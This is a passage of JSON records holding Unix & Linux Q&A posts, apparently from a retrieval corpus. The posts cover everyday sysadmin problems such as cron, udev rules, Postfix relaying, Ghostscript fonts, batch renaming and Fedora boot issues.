set some decent firewall rules. To the setup: the KVM Host is listening to multiple public IP's, from which one is used for management only, the others get forwarded to the corresponding vm. I know it's not ideal to expose the host like this, but currently it's not possible in a different way. On the host runs a SSH server, listening to a non-standard port of the management IP. Now I feel quite unrelaxed knowing that the default INPUT policy is set to ACCEPT, so I want to set it to DROP and only allow the ssh port. I had to do this manually by now as I noticed libvirtd is flushing any rules when I restart a virtual network, which is sometimes necessary. What's the proper way to tell `libvirtd` to imply my custom rules? I was consulting the manual and Google, but didn't find any proper advice (or maybe I missed it)."} {"_id": "114524", "title": "ssh can't connect to CentOS at login screen", "text": "I've a server that running CentOS 6.4 final, I tried putty to connect at login screen, it show Network error: Connection refused, but it works while I've logged in to server. Anyone know what's going wrong?"} {"_id": "114523", "title": "cron runs job at unexpected times", "text": "I have set up a cron job on my local Ubuntu 12.04 server to log on a remote server through a passwordless ssh connection and run `mysqldump` on a database on that server once a day. My problem is that, in addition to running `mysqldump` at 00:00 every day, it is for some reason also run at HH:17 at every hour, thereby filling up the disk fairly rapidly. The job in my crontab is set up as: @daily /bin/bash /home/backup/scripts/db_backup The most important parts of the script db_backup looks like this: #!/bin/bash # Sets the properties and folders to be backed up host_name=admin@the_host.com db_name=the_db_name db_backup_folder_at_host=\"~/db_backup\" # Dumps the mysql database { # Try ssh ${host_name} \"mysqldump ${db_name} > ${db_backup_folder_at_host}/backup$(date +%F_%R).sql\" && echo \"$(date) SUCCESS! mysqldump of database\" } || { # Catch echo \"$(date) FAILURE! mysqldump of database\" } At the remote server I have specified a `.my.cnf` file for the database (in the home folder) like this: [mysqldump] user=USERNAME password=PASSWORD host=MYSQLSERVER and this works fine. The crontab is successfully installed for the super user of my local Ubuntu 12.04 server. I have tried rebooting the server, but that does not fix the problem. Running `sudo ps -A | grep cron` at the Ubuntu server produces `1166 ? 00:00:00 cron` as output, so only one process is running. Running `sudo crontab -l` shows the daily cron job above, while running `crontab -l` shows that no jobs are installed for the regular user. There are no cron jobs running on the remote server. Can anyone give me a hint on how this can be happening? Where can I search for clues? Note that I have also tried the following for the crontab, but `mysqldump` is still run every HH:17: 0 0 * * * /bin/bash /home/backup/scripts/db_backup"} {"_id": "146661", "title": "Changing the date format of auth.log", "text": "I was looking to change the date format in which `auth.log` logs information. I could not find a way to do it. Is there a method to do this? My system uses rsyslog."} {"_id": "114521", "title": "Do ext(4?) filesystems intrinsically store newer data in a fashion that is more prone to corruption?", "text": "I recently had a corrupted ext4 filesystem throwing these errors: kubuntu@kubuntu:~$ sudo mount -t ext4 /dev/sdc2 c1 mount: wrong fs type, bad option, bad superblock on /dev/sdc2, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so kubuntu@kubuntu:~$ sudo fsck.ext4 -v /dev/sdc2 e2fsck 1.42.5 (29-Jul-2012) fsck.ext4: Attempt to read block from filesystem resulted in short read while trying to open /dev/sdc2 Could this be a zero-length partition? kubuntu@kubuntu:~$ dmesg | tail [ 2684.532855] Descriptor sense data with sense descriptors (in hex): [ 2684.532858] 72 03 11 04 00 00 00 0c 00 0a 80 00 00 00 00 00 [ 2684.532876] 05 3f c8 b0 [ 2684.532885] sd 5:0:0:0: [sdc] [ 2684.532893] Add. Sense: Unrecovered read error - auto reallocate failed [ 2684.532898] sd 5:0:0:0: [sdc] CDB: [ 2684.532902] Read(10): 28 00 05 3f c8 b0 00 00 08 00 [ 2684.532917] end_request: I/O error, dev sdc, sector 88066224 [ 2684.532927] Buffer I/O error on device sdc2, logical block 22 [ 2684.532973] ata6: EH complete After recovering the partition with `e2fsck -f -b 32768` I've noticed that the oldest files on the disk were mostly preserved, and that most of the unrecovered files were the newest files, and thus without backups. **Is the property of loosing the newest files and preserving the oldest files intrinsic to ext4, or was this just bad luck?** Are there any file systems which, upon corruption, tend to loose the older files and to preserve the newer files?"} {"_id": "114520", "title": "Make Trickle get the correct $PATH", "text": "Trickle is a bandwidth limiting program. I have the following script for trickle. #!/bin/bash echo $PATH trickle -s -t 3 -u 200 -d 200 \"$@\" I have a script in ~/bin/ that want to run the script with. I $ my_trickle.sh new_script.sh /sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/usr/local/sbin:/usr/local/bin:/usr/games:~/bin trickle: exec(): No such file or directory It works if I run `my_trickle.sh ~/bin/new_script.sh` Why isn't trickle recognizing the $PATH correctly? Can I get it to locate `new_script.sh` located in ~/bin/?"} {"_id": "114528", "title": "Detect open sockets manually (not using nc or similar)?", "text": "I'm trying to debug a network problem on a embedded system which has a very limited set of userspace applications. Meaning I can't use any of the following sudo lsof -i sudo netstat -lptu sudo netstat -tulpn How can i read which sockets are binded from `/sys` or `/proc`?"} {"_id": "89446", "title": "Udev Rule Isn't Used", "text": "I'm trying to write a udev rule on my Beaglebone White that runs when a Pantech UML 295 finishes booting. When using `udevadm monitor --environment` I get the following final output which I would like to base the rule on: UDEV [3163.454297] add /devices/platform/omap/musb-ti81xx/musb-hdrc.1/usb1/1-1/1- 1:1.0/net/eth1 (net) ACTION=add DEVPATH=/devices/platform/omap/musb-ti81xx/musb-hdrc.1/usb1/1-1/1-1:1.0/net/eth1 ID_BUS=usb ID_MODEL=PANTECH_UML295 ID_MODEL_ENC=PANTECH\\x20UML295 ID_MODEL_ID=6064 ID_REVISION=0228 ID_SERIAL=Pantech__Incorporated_PANTECH_UML295_UML295692146818 ID_SERIAL_SHORT=UML295692146818 ID_TYPE=generic ID_USB_DRIVER=cdc_ether ID_USB_INTERFACES=:020600:0a0000:030000: ID_USB_INTERFACE_NUM=00 ID_VENDOR=Pantech__Incorporated ID_VENDOR_ENC=Pantech\\x2c\\x20Incorporated ID_VENDOR_ID=10a9 IFINDEX=6 INTERFACE=eth1 SEQNUM=1151 SUBSYSTEM=net SYSTEMD_ALIAS=/sys/subsystem/net/devices/eth1 TAGS=:systemd: USEC_INITIALIZED=3163023666 My udev rule version 1: ENV{ID_BUS}==\"usb\", SUBSYSTEM==\"net\", RUN+=\"/home/root/rebootInternetConnection.sh\", ENV{ID_MODEL}==\"PANTECH_UML295\", ACTION==\"add\", INTERFACE==\"eth1\", ENV{ID_USB_DRIVER}==\"cdc_ether\" and version 2: ACTION==\"add\", SUBSYSTEM==\"net\", RUN+=\"/home/root/rebootInternetConnection.sh\" Version 2 is a stripped down version which should be ran more than once, but doesn't get ran at all. Version 1 uses environment variables which I'm not sure whether or not the rule has access to. To clarify: the rule doesn't get ran at all, and the shell script has echos which should show up. My rule is in the /etc/udev/rules.d/ directory with name 10-local.rules. **EDIT** Here are some more non-functional rules, placed in /etc/udev/rules.d/81-pantech.rules: ACTION==\"add\", SUBSYSTEM==\"net\", ATTR{idVendor}==\"10a9\", RUN+=\"/home/root/reboot InternetConnection.sh\" SUBSYSTEM==\"net\", ATTR{idVendor}==\"10a9\", ATTR{idProduct}==\"6064\", RUN+=\"/home/ro ot/rebootInternetConnection.sh\" ACTION==\"add\", SUBSYSTEM==\"hid\", RUN+=\"/home/root/rebootInternetConnection.sh\" ACTION==\"add\", SUBSYSTEM==\"usb\", RUN+=\"echo foo > /tmp/foo\" SUBSYSTEM==\"usb\", ATTR{product}==\"PANTECH UML295\", RUN +=\"echo foo > /tmp/foo\" ACTION==\"add\", SUBSYSTEM==\"usb\", ATTR{product}==\"PANTECH UML295\", RUN+=\"/home/ro ot/rebootInternetConnection.sh\" When I run: udevadm test /devices/platform/omap/musb-ti81xx/musb-hdrc.1/u it returns the last couple of lines as: run: 'echo foo > /tmp/foo' run: 'echo foo > /tmp/foo' run: 'echo foo > /tmp/foo' run: '/home/root/rebootInternetConnection.sh' Is there a case where the rules will add to the RUN+=, but don't get used?"} {"_id": "126691", "title": "Tracking my shell path in Emacs", "text": "Not a long time ago, I found the following precious snippet that allows Emacs to track my current directory on any `ansi-term` buffer. More specifically, if I `cd ` from within a terminal inside Emacs, and I then press `C-x C-f`, Emacs will run `find-file` from `` directly, which is very, very handy. if [ -n \"$INSIDE_EMACS\" ]; then chpwd() { print -P \"\\033AnSiTc %d\" } print -P \"\\033AnSiTu %n\" print -P \"\\033AnSiTc %d\" fi However, the above trick doesn't work if I `ssh` to a remote machine from the shell. Ideally in this case, if I press `C-x C-f` Emacs should recognize that I have sshed to some machine, and use tramp to run `find-file` on the corresponding machine and remote path. This takes me to the following two questions: 1. How and why does the snippet above work? 2. How can I extend it so that it can also track my remote paths after I ssh into another machine?"} {"_id": "89444", "title": "GUI message box in SLES 11", "text": "I am using SLES 11 and I often run long processes. I am looking for a method to flash an alert box or a message box when the work is done. In Ubuntu there is `zenity` which can flash an info box. I am looking for similar functionality for SUSE/SLES. I saw there is `dialog` but I dont think this opens a GUI box. Any ideas ? **ADDED INFO** I dont have `root` on the machine (neither do I want a clumsy $USER install). I want to use something that is native to SLES."} {"_id": "126693", "title": "Can't open vim in zsh?", "text": "I recently decided to try out zsh, but for some reason I cannot open Vim in a zsh shell. Currently, my default shell is bash. If I open up a terminal window, then run `zsh` to enter a zsh shell, I have no problems opening up Vim. The problem comes when I run the `chsh -s /bin/zsh` command to try and change my default shell to zsh. Now, when I open up a terminal window, a zsh shell opens up, but I _cannot_ open Vim. When I try to run `vim `, the shell just hangs, and I cannot , , or even to quit. I've checked my $PATH variable while I'm in the zsh shell and everything is correct. Running `which vim` correctly shows that Vim is in `/usr/bin/vim`. Currently, my `.zshrc` is blank. I've tried running other commands like `ls`, `cd`, `less`, etc, and they all work properly. As far as I can tell, Vim is the only command giving me troubles. Any insight would be much appreciated."} {"_id": "89442", "title": "Centos Linux no longer has \" System ---> Administration ---> Printing \" after re-install from \"Minimal\" iso file", "text": "Recently i installed centos linux minimal and then installed GUI over it. i noticed it no longer has System ---> Administration ---> Printing given that this is not a 'software' how can i go about bringing this fuctionality back ? can it be done via \"yum\" ?"} {"_id": "126695", "title": "gs can't find the proper font", "text": "I am running the following command to add bookmarks to a pdf file. The file `bookmarks.txt` contains bookmarks in Chinese characters and in pdfmarks format. The output of `gs` shows that there seem to be some problem with the font. Is there some way to solve the problem? Thanks in advance! $ gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=out.pdf note.pdf bookmarks.txt GPL Ghostscript 9.05 (2012-02-08) Copyright (C) 2010 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. Processing pages 1 through 102. Page 1 Substituting font Times-Bold for Times New Roman,Bold. Loading NimbusRomNo9L-Medi font from /usr/share/fonts/type1/gsfonts/n021004l.pfb... 2889932 1499918 3254752 1759198 3 done. Substituting font Times-Roman for Times New Roman. Loading NimbusRomNo9L-Regu font from /usr/share/fonts/type1/gsfonts/n021003l.pfb... 2993796 1627069 4166144 2692107 3 done. Page 2 Substituting font Times-Roman for Times New Roman. Page 3 Substituting font Times-Roman for Times New Roman. Page 4 Can't find (or can't open) font file /usr/share/ghostscript/9.05/Resource/Font/Arial-BoldMT. Can't find (or can't open) font file Arial-BoldMT. Can't find (or can't open) font file /usr/share/ghostscript/9.05/Resource/Font/Arial-BoldMT. Can't find (or can't open) font file Arial-BoldMT. Querying operating system for font files... Loading Arial-BoldMT font from /usr/share/fonts/truetype/msttcorefonts/arialbd.ttf... 3073992 1671962 5497244 3026723 3 done. Loading ArialMT font from /usr/share/fonts/truetype/msttcorefonts/Arial.ttf... 3074368 1692578 5853472 3515223 3 done. Substituting font Times-Roman for Times New Roman. Page 5 Substituting font Times-Roman for Times New Roman. Page 6 Substituting font Times-Roman for Times New Roman. Page 7 Page 8 Loading Arial-BoldMT font from /usr/share/fonts/truetype/msttcorefonts/arialbd.ttf... 3074180 1679830 4371296 2897061 3 done. Substituting font Times-Roman for Times New Roman. Page 9 Substituting font Times-Roman for Times New Roman. Substituting font Times-Bold for Times New Roman,Bold. Loading Arial-BoldMT font from /usr/share/fonts/truetype/msttcorefonts/arialbd.ttf... 3073992 1671819 4631712 2938526 3 done. Loading ArialMT font from /usr/share/fonts/truetype/msttcorefonts/Arial.ttf... 3073992 1672099 4987940 3383317 3 done. Page 10 Loading ArialMT font from /usr/share/fonts/truetype/msttcorefonts/Arial.ttf... 3094652 1711038 3749692 2384326 3 done. The font map files of my GhostScript is under `/usr/share/ghostscript/9.05/Resource/Init`, and can be viewed here Fontmap and Fontmap.GS. I have installed `ttf-mscorefonts-installer`, and $ ls /usr/share/fonts/truetype/msttcorefonts/ Andale_Mono.ttf Georgia.ttf andalemo.ttf georgiaz.ttf arialbd.ttf impact.ttf arialbi.ttf Impact.ttf Arial_Black.ttf timesbd.ttf Arial_Bold_Italic.ttf timesbi.ttf Arial_Bold.ttf timesi.ttf Arial_Italic.ttf Times_New_Roman_Bold_Italic.ttf ariali.ttf Times_New_Roman_Bold.ttf arial.ttf Times_New_Roman_Italic.ttf Arial.ttf Times_New_Roman.ttf ariblk.ttf times.ttf comicbd.ttf trebucbd.ttf Comic_Sans_MS_Bold.ttf trebucbi.ttf Comic_Sans_MS.ttf Trebuchet_MS_Bold_Italic.ttf comic.ttf Trebuchet_MS_Bold.ttf courbd.ttf Trebuchet_MS_Italic.ttf courbi.ttf Trebuchet_MS.ttf Courier_New_Bold_Italic.ttf trebucit.ttf Courier_New_Bold.ttf trebuc.ttf Courier_New_Italic.ttf Verdana_Bold_Italic.ttf Courier_New.ttf Verdana_Bold.ttf couri.ttf verdanab.ttf cour.ttf Verdana_Italic.ttf Georgia_Bold_Italic.ttf verdanai.ttf Georgia_Bold.ttf verdana.ttf georgiab.ttf Verdana.ttf Georgia_Italic.ttf verdanaz.ttf georgiai.ttf webdings.ttf georgia.ttf Webdings.ttf * * * updated The error is that in the generated pdf file, the bookmarks are not Chinese characters but unrecognizable (if you view it in evince, click side pane and then index). I suspect the substitution is the reason (or do I misunderstand the cause of the problem?) Here is the updated Fontmap.GS, after adding the font files for the four types of Times New Roman fonts Here is the output of running the above command using `gs`"} {"_id": "89440", "title": "Send all local mail to a single external e-mail", "text": "I am trying to send all local mail to a single external e-mail, using Google's SMTP servers. Using Google's SMTP servers work, as I am able to send mail to external addresses work using mail from mailutils. The redirection of local mail to the external e-mail does not work. When sending a mail to root from my account test using: echo \"Body\" | mail -s \"Test Postfix To Root\" root * I never recieve the message * Nothing new turns up in /var/log/mail.err * This turns up in /var/log/mail.log Sep 4 18:48:06 desktop1204test postfix/pickup[5535]: C9326EE26: uid=1000 from= Sep 4 18:48:06 desktop1204test postfix/cleanup[5702]: C9326EE26: message-id= Sep 4 18:48:06 desktop1204test postfix/qmgr[5534]: C9326EE26: from=, size=401, nrcpt=1 (queue active) Sep 4 18:48:06 desktop1204test postfix/local[5704]: C9326EE26: to=, orig_to=, relay=local, delay=0.03, delays=0.02/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox) Sep 4 18:48:06 desktop1204test postfix/qmgr[5534]: C9326EE26: removed My `/etc/postfix/main.cf`: ` inet_interfaces = loopback-only mynetworks = loopback-only alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases virtual_alias_domains = localhost.localdomain virtual_alias_maps = hash:/etc/postfix/virtual relayhost = [smtp.gmail.com]:587 smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_sasl_security_options = noanonymous smtp_tls_CAfile = /etc/postfix/cacert.pem smtp_use_tls = yes ` My `etc/aliases`: # See man 5 aliases for format postmaster: root My /etc/postfix/virtual: @localhost.localdomain someone@somewhere.com How can I get it working? I don't want any local mail to arrive locally, they should all go to `someone@somewhere.com`. * * * I tried the solution suggested in a comment below: put `*: someone@somewhere.com` in `/etc/aliases`. But did not work: test@desktop1204test:~$ sudo newaliases test@desktop1204test:~$ cat /etc/aliases # See man 5 aliases for format postmaster: root *: someone@somewhere.com test@desktop1204test:~$ sudo newaliases test@desktop1204test:~$ sudo service postfix restart * Stopping Postfix Mail Transport Agent postfix [ OK ] * Starting Postfix Mail Transport Agent postfix [ OK ] test@desktop1204test:~$ echo \"Body\" | mail -s \"Test Postfix To Root $(date)\" root test@desktop1204test:~$ tail /var/log/mail.err test@desktop1204test:~$ tail /var/log/mail.log ...... Sep 4 22:46:12 desktop1204test postfix/master[7224]: daemon started -- version 2.9.6, configuration /etc/postfix Sep 4 22:46:23 desktop1204test postfix/pickup[7227]: 859AFF6A8: uid=1000 from= Sep 4 22:46:23 desktop1204test postfix/cleanup[7235]: 859AFF6A8: message-id=<20130904204623.859AFF6A8@desktop1204test.localdomain> Sep 4 22:46:23 desktop1204test postfix/qmgr[7228]: 859AFF6A8: from=, size=431, nrcpt=1 (queue active) Sep 4 22:46:23 desktop1204test postfix/local[7237]: 859AFF6A8: to=, orig_to=, relay=local, delay=0.02, delays=0.02/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox) Sep 4 22:46:23 desktop1204test postfix/qmgr[7228]: 859AFF6A8: removed test@desktop1204test:~$"} {"_id": "126698", "title": "Configure xmobar to show workspaces", "text": "What should my xmonad.hs file look like to correctly give workspace info to xmobar?"} {"_id": "126699", "title": "How do I install firmware on debian wheezy from command-line?", "text": "I have Ubuntu 14.04 and Debian-7.4-Standard on my Acer Aspire One laptop. I have Standard Debian OS which is command-line only. I am still a newbie and not too sure of myself on the command-line, so that is way I added Debian Standard to learn from. In the Debian OS I am not able to connect to the web through my wi-fi. I am missing the needed drivers. So far I have downloaded `firmware-nonfree_0.36+wheezy.1.tar.gz` in my Ubuntu OS and placed it into my home directory in my Debian OS. But now what? Any ideas on how I can install my needed driver from there? * * * **Update:** I managed to make some ground. What I did was to download from my Ubuntu system the `firmware-linux-nonfree_0.36+wheezy.1_all.deb` file and placed it into my home directory in my Debian system. Then I booted into my Debian OS and from my home directory as a superuser I ran the command `dpkg -i firmware-linux-nonfree_0.36+wheezy.1_all.deb` and then rebooted the system. Now my display looks much better, but I still am unable to connect the system to the web. As a result I am still unable to use `apt-get update`. At least the firmware problem is now solved."} {"_id": "66841", "title": "Ubuntu: can't find ndbm.h", "text": "I need to compile an old apache version, 1.3 and compilation process fails because: mod_auth_dbm.c:77:18: fatal error: ndbm.h: File or directory not found where is it?"} {"_id": "66840", "title": "conky execi doesnt execute on startup", "text": "In my .conkyrc File I use some Shell-Scripts and call it via {execi}. The Problem is it doesn\u00b4t execute these scripts on startup, e.g. get_public_ip.sh doesn\u00b4t need to get called every 30 seconds like the get_cpu_temp.sh, so I use `{exceci 3600 get_public_ip.sh}` with this command I have to wait 1 Hour till I get my public IP because conky doesn\u00b4t call the script on startup! How can I configure conky so it will call all {execi} lines on startup?"} {"_id": "66842", "title": "Linux kernel development for multi core architecture", "text": "I am working on a project adapting system software like the Linux kernel. I read one paper titled \"Experience on Comparison of Operating Systems Scalability on the Multi-core Architecture\" that tells how to detect bottlenecks using benchmarking. I am following their experimental approach and am able to generate a profiling report using the profile tool, but I am not able to detect bottlenecks from this profiling report. Basically, I am not able to explore the no-vmlinux part, and I am not able to find those functions related to bottlenecks. Also I am not able to use `lockstat.txt` as there is no file in `/proc/sys/kernel/lock_stat`."} {"_id": "52385", "title": "What is the difference between ./script and . ./script?", "text": "> **Possible Duplicate:** > Using \u2018.\u2019 to execute files in bash I was trying to figure out how to export my environmental via script instead of changing my .bashrc file. I found this old useful post that said: > Variables can only be exported to subordinate processes, you can't pass them > back up to the parent. If you really want your script to affect the parent > shell's environment, run the script as > > > . ./yourprogram > I just want to know what the difference is between `. ./script` and `./script`? When I look at it, they booth mean to me, run the script from the current directory?"} {"_id": "43882", "title": "Using '.' to execute files in bash", "text": "What's the difference between executing a script like this: `./test.sh` and executing a script like this: `. test.sh`? I tried a simple, two-line script to see if I could find if there was a difference: #!/bin/bash ls But both `. test.sh` and `./test.sh` returned the same information. Thanks."} {"_id": "98795", "title": "Whys is there extra dot at the start of some command I'm supposed to execute", "text": "I've downloaded an installation package of weblogic server and in the README, there's this command to execute: Linux/Mac $ . ./configure.sh It's not the first time I see this. Why is there an extra dot at the start of the command? When I do only `./configure.sh`, the result is the same"} {"_id": "65634", "title": "Difference between \". myscript\" and \"./myscript\"", "text": "I am confused by \"one only dot - space - shell script name\" (like `. myshellscript`) and \"path to shell script\" (like `./myshellscript`) commands. What for they are? I noticed the command `. myshellscript` executes shell script even with -rw-rw-r--. But `./myshellscript` doesn't. So I am confused."} {"_id": "130808", "title": "Wrap lines to a specified number of fields", "text": "I have a text file which contains several vectors, as follows. The components of these vectors are separated with space and they are spanned in a few lines. This file is generated after I run a command in the Ubuntu terminal. 0 -1 -0.494 0.12 -0.919 0.112 0.914 -0.681 -0.067 -0.918 -0.443 -0.216 -0.48 0.55 0.701 0.429 0.699 -0.726 -0.39 0.172 0.61 -0.599 0.728 -0.883 -0.32 0.044 -0.189 -0.732 -0.309 -0.286 -0.859 0.107 0.298 0 0 0.869 0.641 -0.331 -0.631 -0.236 0.303 0.998 0.153 -0.89 -0.927 -0.671 -0.478 0.693 -0.007 -0.64 0.091 -0.249 -0.881 0.641 0.689 0.222 -0.398 0.548 -0.268 -0.877 -0.333 -0.55 0.858 0.504 0.215 -0.178 0 0 0 0.758 -0.214 0.768 0.329 0.667 -0.013 0.367 0.103 -0.307 -0.565 0.685 0.171 -0.903 0.32 -0.682 -0.887 -0.44 -0.467 0.409 -0.649 0.249 0.772 -0.962 0.443 -0.594 0.776 -0.427 0.088 -0.971 0.938 How can I convert this file into another file using shell commands with the following format, where each vector is in a separate line and the header of the file is the number of three-component vectors? n V1x V1y V1z V2x V2y V2z V3x V3y V3z ... Vnx Vny Vnz where n is the number of three-component vectors in the file. In the file that I have: `V1x=0`, `V1y=-1`, `V1z=-0.494`. `V2x=0.12`, `V2y=-0.919`, `V2z=0.112` and so forth."} {"_id": "61318", "title": "How can I setup a system immune to abrupt poweroffs?", "text": "I have a system that boots from a solid state disk. How can I make it immune to improper shutdowns? I can also switch to a distribution having this feature. I can choose between Ubuntu, Redhat, and Fedora (or derivatives of these distros)."} {"_id": "61319", "title": "Making the keyboard eject switch work", "text": "My keyboard switch for ejecting the CDROM does not work though it displays an eject button on the screen. I need to make it work. I know ejecting a cdrom using system call is as simple as ioctl(cdromfd,CDROMEJECT,0) But I don't know how to connect the an executable that contains the above system call and the event of pressing the eject key? Or shall I rely on kernel level? If then how?"} {"_id": "127347", "title": "Editing metadata with bash", "text": "I have a bunch of photos(jpeg, bmp, png) that I have arranged in such a manner that the metadata is in html form in a separate file. I would like create some script to read this html file and edit the photos \"Tags\" field if possible. My images are arranged like this: photo-\"serial number\".(jped/bmp/png). The metadata is in the same folder but the file name is only the serial number with no extension In this html file there is this line: `` Note that some files dont have this extra file and some images may already have the tag s field populated. I want this done in a batch process. If you know a better way to do this(windows/linux)please let me know."} {"_id": "1136", "title": "Batch renaming files", "text": "I have a directory full of images: image0001.png image0002.png image0003.png ... And I would like a one-liner to rename them to (say). 0001.png 0002.png 0003.png ... How do I do this?"} {"_id": "114414", "title": "Batch renaming of files", "text": "I have a directory full of images: DSCN4749.JPG DSCN4750.JPG DSCN4892.JPG ... And I would like a one-liner to rename them to (say). dscn4749.jpg dscn4750.jpg dscn4892.jpg ... How do I do this? Alternatives/extenstions/caveats * I want to recurse * The directory contains a mix of file types I only want to rename DSCN*.JPG files. * bash solution * perl solution * zsh solution * I want a new directory tree with hard links existing files. * I want to change name more than just a case change eg dscn5555.JPG to 05555.jpg ..."} {"_id": "56799", "title": "Bash Globbing Variable Substitution?", "text": "> **Possible Duplicate:** > Batch renaming files I want to rename files using their existing name as a base for the new one. So if I can `ls` these files with ls blue*+(.png) I'd want to rename them something like mv blue$(*)+(.png) $(1).png except that doesn't work obviously. Is there syntax for these kind of variables in bash globbing or is there an easier way?"} {"_id": "114340", "title": "Append to the name of each file in directory", "text": "How to append \u201c.backup\u201d to the name of each file in your current directory?"} {"_id": "81657", "title": "batch rename file names including spaces and patterns", "text": "I would like to rename a bunch of files which are named in a general form of, `text1 text2 [firstname.lastname] text3 ... textn.ext` I want to remove the text `[firstname.lastname]` from the name of a file. To simplify the task, assume that `[firstname.lastname]` is a fixed first and last name for all the files. I use Ubuntu 12.04, and I tried the following command, `$ find . -name \"*.ext\" -print | xargs sed -i 's/[firstname.lastname]//g'` but it doesn't work."} {"_id": "155029", "title": "How to remove a specific string from file name", "text": "I have a report running in UNIX and creating a file named `xxxx_ddmmyy_hhmm_zzzzzz.txt`. I need to remove the `zzzzzz` from the file name. How do I do it?"} {"_id": "49115", "title": "batch rename a few files", "text": "> **Possible Duplicate:** > Batch renaming files I have some files that I wish to rename in a single command. The files are names thus. I want the E S Posthumus bit removed from the names and also the 01, 02 ...etc at the start of each file. How do I remove that?"} {"_id": "127341", "title": "Fedora 19 - Booting doesn't show login screen", "text": "I have done some common updates in my system, and now I have the following problem: It starts as usual, loading services, but when trying to launch the login screen (I use KDE), it stops and show me once more the starting services screen, where it blocks after some time. I could go to another tty, login as root and do the following commands: init 3 init 5 And it starts as expected. But every time I restart, I have to do the same thing to see my desktop. I have seen my `/var/log/boot.log` file and I haven't seen anything unusual. There is it: [ OK ] Found device SAMSUNG_HD204UI. [ OK ] Found device SAMSUNG_HD204UI. [ OK ] Found device SAMSUNG_HD204UI. [ OK ] Started dracut initqueue hook. Mounting /sysroot... [ OK ] Started Show Plymouth Boot Screen. [ OK ] Reached target Paths. [ OK ] Reached target Basic System. [ OK ] Mounted /sysroot. [ OK ] Reached target Initrd Root File System. Starting Reload Configuration from the Real Root... [ OK ] Started Reload Configuration from the Real Root. [ OK ] Reached target Initrd File Systems. [ OK ] Reached target Initrd Default Target. Welcome to [0;34mFedora 19 (Schr\u00f6dinger\u2019s Cat)! [ OK ] Stopped Switch Root. [ OK ] Stopped target Switch Root. [ OK ] Stopped target Initrd File Systems. [ OK ] Stopped target Initrd Root File System. Starting Collect Read-Ahead Data... Starting Replay Read-Ahead Data... [ OK ] Reached target Login Prompts. [ OK ] Reached target Remote File Systems. [ OK ] Listening on Syslog Socket. [ OK ] Listening on Delayed Shutdown Socket. [ OK ] Listening on /dev/initctl Compatibility Named Pipe. Mounting Debug File System... Starting Create static device nodes in /dev... [ OK ] Set up automount Arbitrary Executable File Formats F...utomount Point. Mounting Huge Pages File System... Mounting POSIX Message Queue File System... [ OK ] Listening on udev Kernel Socket. [ OK ] Listening on udev Control Socket. Starting udev Coldplug all Devices... [ OK ] Listening on LVM2 metadata daemon socket. [ OK ] Listening on Device-mapper event daemon FIFOs. Starting Monitoring of LVM2 mirrors, snapshots etc. ...ress polling... Expecting device dev-disk-by\\x2duuid-06995479\\x2d888...de5ee.device... Mounting Temporary Directory... Expecting device dev-disk-by\\x2duuid-f88e071f\\x2ddb3...1d57c.device... Expecting device dev-disk-by\\x2duuid-5c6ae9c2\\x2d610...c99fb.device... Expecting device dev-disk-by\\x2dlabel-Documentos.device... Expecting device dev-disk-by\\x2dlabel-Programas.device... Expecting device dev-disk-by\\x2dlabel-Extra.device... [ OK ] Stopped Trigger Flushing of Journal to Persistent Storage. Stopping Journal Service... [ OK ] Stopped Journal Service. Starting Journal Service... [ OK ] Started Journal Service. [ OK ] Started Collect Read-Ahead Data. [ OK ] Started Replay Read-Ahead Data. Starting Load legacy module configuration... Starting File System Check on Root Device... Starting Apply Kernel Variables... Mounting Configuration File System... Starting Set Up Additional Binary Formats... Starting LVM2 metadata daemon... [ OK ] Mounted Temporary Directory. [ OK ] Mounted Configuration File System. [ OK ] Mounted Debug File System. [ OK ] Mounted Huge Pages File System. [ OK ] Mounted POSIX Message Queue File System. [ OK ] Started udev Coldplug all Devices. Starting udev Wait for Complete Device Initialization... Mounting Arbitrary Executable File Formats File System... [ OK ] Started LVM2 metadata daemon. [ OK ] Started Apply Kernel Variables. [ OK ] Started Load legacy module configuration. [ 8.501835] systemd-fsck[261]: Fedora_19: clean, 964326/4825088 files, 8824281/19283456 blocks [ OK ] Started File System Check on Root Device. Starting Remount Root and Kernel File Systems... [ OK ] Started Remount Root and Kernel File Systems. Starting Configure read-only root support... [ OK ] Started Monitoring of LVM2 mirrors, snapshots etc. u...ogress polling. [ OK ] Mounted Arbitrary Executable File Formats File System. [ OK ] Started Set Up Additional Binary Formats. [ OK ] Started Create static device nodes in /dev. Starting udev Kernel Device Manager... [ OK ] Started udev Kernel Device Manager. [ OK ] Reached target Local File Systems (Pre). [ OK ] Started Configure read-only root support. Starting Load Random Seed... [ OK ] Started Load Random Seed. [ OK ] Started udev Wait for Complete Device Initialization. Starting Activation of DM RAID sets... [ OK ] Reached target Sound Card. [ OK ] Started Activation of DM RAID sets. [ OK ] Reached target Encrypted Volumes. [ OK ] Found device SAMSUNG_HD204UI. Activating swap /dev/disk/by-uuid/06995479-888f-4e3f...99fa3c5de5ee... [ OK ] Found device SAMSUNG_HD204UI. Starting File System Check on /dev/disk/by-uuid/5c6a...d143aacc99fb... [ OK ] Found device SAMSUNG_HD204UI. Starting File System Check on /dev/disk/by-uuid/f88e...fe923f01d57c... [ OK ] Activated swap /dev/disk/by-uuid/06995479-888f-4e3f-b62c-99fa3c5de5ee. [ OK ] Reached target Swap. [ 12.871604] systemd-fsck[375]: /dev/sda7: clean, 89896/2411920 files, 3370321/9640192 blocks [ OK ] Found device SAMSUNG_HD204UI. Mounting /media/Documentos... [ OK ] Found device SAMSUNG_HD204UI. Mounting /media/Extra... [ OK ] Started File System Check on /dev/disk/by-uuid/5c6ae...d-d143aacc99fb. Mounting /home... [ 13.813950] systemd-fsck[379]: BOOT: clean, 374/64768 files, 28850/258822 blocks Mounting FUSE Control File System... [ OK ] Mounted FUSE Control File System. [ OK ] Found device SAMSUNG_HD204UI. Mounting /media/Programas... [ OK ] Started File System Check on /dev/disk/by-uuid/f88e0...4-fe923f01d57c. Mounting /boot... [ OK ] Mounted /boot. [ OK ] Mounted /home. [ OK ] Mounted /media/Documentos. [ OK ] Mounted /media/Extra. [ OK ] Mounted 